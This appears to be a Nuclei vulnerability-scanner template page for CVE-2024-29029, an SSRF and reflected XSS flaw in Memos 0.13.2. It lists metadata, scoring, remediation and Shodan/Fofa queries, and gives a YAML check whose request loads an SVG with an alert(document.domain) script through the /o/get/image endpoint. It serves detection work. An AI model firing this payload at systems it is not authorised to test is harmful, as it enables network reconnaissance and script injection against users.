CVE-2024-29029: Memos 0.13.2 - Cross-Site Scripting & SSRF
- Template: CVE-2024-29029
- Name: Memos 0.13.2 - Cross-Site Scripting & SSRF
- Description: An SSRF vulnerability exists at the `/o/get/image` that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.
- Impact: Attackers can inject malicious scripts and perform SSRF attacks, compromising user data and accessing internal resources.
- Remediation: Update Memos to version 0.13.3 or later.
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2024, xss, memos, vkev, vuln
- References: https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/, https://nvd.nist.gov/vuln/detail/CVE-2024-29029
- Cves: CVE-2024-29029
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-29029.yaml
- Digest: 4a0a00473045022100e07e197358a7b2a2e070f9d0332665de0c7cab07df3670e2e6188125fac749b902206cf44a5a693146157d8218ae4c0c3eb86b6af3de565fb099e7fa13bbb2c66ba9
- Created at: 2025-09-04T10:18:50Z
- Updated at: 2025-12-15T12:28:58Z
- Age in days: 446
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-29029.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Not known: epss score, epss percentile, cpe
Metadata
- Fofa-query: title="Memos"
- Max-request: 1
- Shodan-query: title:"Memos"
- Verified: yes
Labels
- Name: memos - Server Side Request Forgery & Reflected XSS
- Impact: Attackers can perform network reconnaissance and execute reflected XSS attacks, potentially stealing cookies or hijacking user sessions.
- Remediation: Update to version 0.22.0 which removes the vulnerable file.
- Vulnerability type: server_side_request_forgery
- Vulnerability impact: information_disclosure, client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-29029
- Not known: requirements
```yaml
id: CVE-2024-29029
info:
name: Memos 0.13.2 - Cross-Site Scripting & SSRF
author: ritikchaddha
severity: medium
description: |
An SSRF vulnerability exists at the `/o/get/image` that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.
impact: |
Attackers can inject malicious scripts and perform SSRF attacks, compromising user data and accessing internal resources.
remediation: |
Update Memos to version 0.13.3 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29029
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
shodan-query: title:"Memos"
fofa-query: title="Memos"
tags: cve,cve2024,xss,memos,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/o/get/image?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(document.domain);"
- "<?xml version"
- '<script type="text/javascript">'
condition: and
- type: word
part: header
words:
- "Content-Security-Policy: default-src 'none';"
negative: true
- type: status
status:
- 200
digest: 4a0a00473045022100e07e197358a7b2a2e070f9d0332665de0c7cab07df3670e2e6188125fac749b902206cf44a5a693146157d8218ae4c0c3eb86b6af3de565fb099e7fa13bbb2c66ba9:922c64590222798bb761d5b6d8e72950
```